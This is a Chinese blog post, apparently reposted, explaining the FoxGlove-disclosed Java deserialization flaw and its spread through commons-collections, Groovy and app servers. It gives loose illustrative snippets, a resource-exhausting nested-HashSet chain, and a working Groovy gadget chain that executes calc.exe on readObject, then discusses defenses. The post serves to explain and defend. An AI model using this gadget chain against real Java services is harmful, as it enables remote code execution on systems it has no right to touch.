Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。

说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:

1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。

例如:

class Client {
private int value;
public Client(int v) {
if (v <= 0) {
throw new RuntimeException("not positive number");
}
value = v;
}
public void writeObject(ObjectOutputStream oos) throws IOException {
int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)
oos.defaultWriteObject();
}
}
class Controller {
private ArrayBlockingQueue<Client> queue;
public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发
queue.add(s);
}
public Client getClient() throws InterruptedException {
return (Client)queue.take();
}
}
class Server extends Thread {
private Controller controller = new Controller();
private int result = 100;
public void run() {
while (true) {
try {
result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束
Thread.sleep(100);
} catch (InterruptedException e) {}
}
}
}

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo"); //使t2不等于t1
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

class Controller {
public void receiveState(ObjectInputStream ois) {
FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。
fos.close();
}
}

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

public class GroovyTest {
public static void main(String[] args) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
Class<?>[] clsArr = {Map.class};
final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
byte[] bytes = bos.toByteArray(); //对象被序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); //反序列化时calc.exe被执行
}
}

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null; try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
} Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的 RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

本文转自 OneAPM 官方博客

JAVA 反序列化攻击的更多相关文章

  1. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  5. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  6. 关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

    一.背景: 这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的.原谅我: 1.java反序列化漏洞原理研习 2.java反序列化漏洞的检测 二.攻击手法简介 ...

  7. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  8. Java反序列化漏洞详解

      Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...

  9. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

随机推荐

  1. PHP第四章数组2

    $str =array("dd"=>"d","dc"=>"ds","dd"=>&q ...

  2. Android环境变量笔记

    Logcat打印日志 使用方法Log.i(tag, msg);参数tag: 标签.用于识别Logcat的分类(一般可以使用类名作为标签)数msg: 打印的内容 在eclipse中打开logcat标签W ...

  3. javascript进击(一)简介

    javascript是属于网络的脚本语言(javascript与java就像老婆与老婆饼,并没有关系) 页面静态效果:HTML+CSS 为页面添加动态效果:javascript JavaScript ...

  4. oracle根据pid查询出正在执行的执行语句

    今天数据库访问突然很慢,通过top命令发现oracle的cpu使用率很高.同事建议查询一下看看是什么语句导致的oracle运行变慢.于是从网上查了一下,可以根据pid查询出正在执行的查询语句,发现是一 ...

  5. Clean Code(二):函数

    笔记2:函数1.短小.还要更短小    每个函数都一目了然,每个函数灰依序把你带到下一个函数    if.else.while语句等,其中的代码块应该只有一行,块内调用的函数名称应该较具有说明性2.只 ...

  6. uboot源码解析

    实例:1.3.4版本at91sam系列 GPIO部分: 一.初始化: include\asm-arm\arch-at91sam9\gpio.h 1.同一引脚的复用设置 2.输入输出初始化寄存器 3.得 ...

  7. html代码实现自动滚动,鼠标滑过时停止滚动

    <marquee style="width: 1200px;height:200px;margin:0px auto" onmouseout="this.start ...

  8. IIS限制ASP.Net 文件上传大小解决方案,修改IIS7/7.5配置

    当在web.config中设置了 httpruntime 后还是无法成功上传大文件,则要修改IIS的系统config IIS 7 默认文件上传大小是30M 要突破这个限制: 修改IIS的applica ...

  9. Integer跟int的区别(备份回忆)

    int与Integer的区别 int 是基本数据类型Integer是其包装类,注意是一个类.为什么要提供包装类呢???一是为了在各种类型间转化,通过各种方法的调用.否则 你无法直接通过变量转化.比如, ...

  10. 什么是SysWow64

    转自 什么是SysWow64 Wow!什么是Wow64 64位的Windows并不是简单地把所有东西都编译成64位就万事大吉的.关于64位的CPU应该做成什么样子,Intel和AMD曾有各自的打算.A ...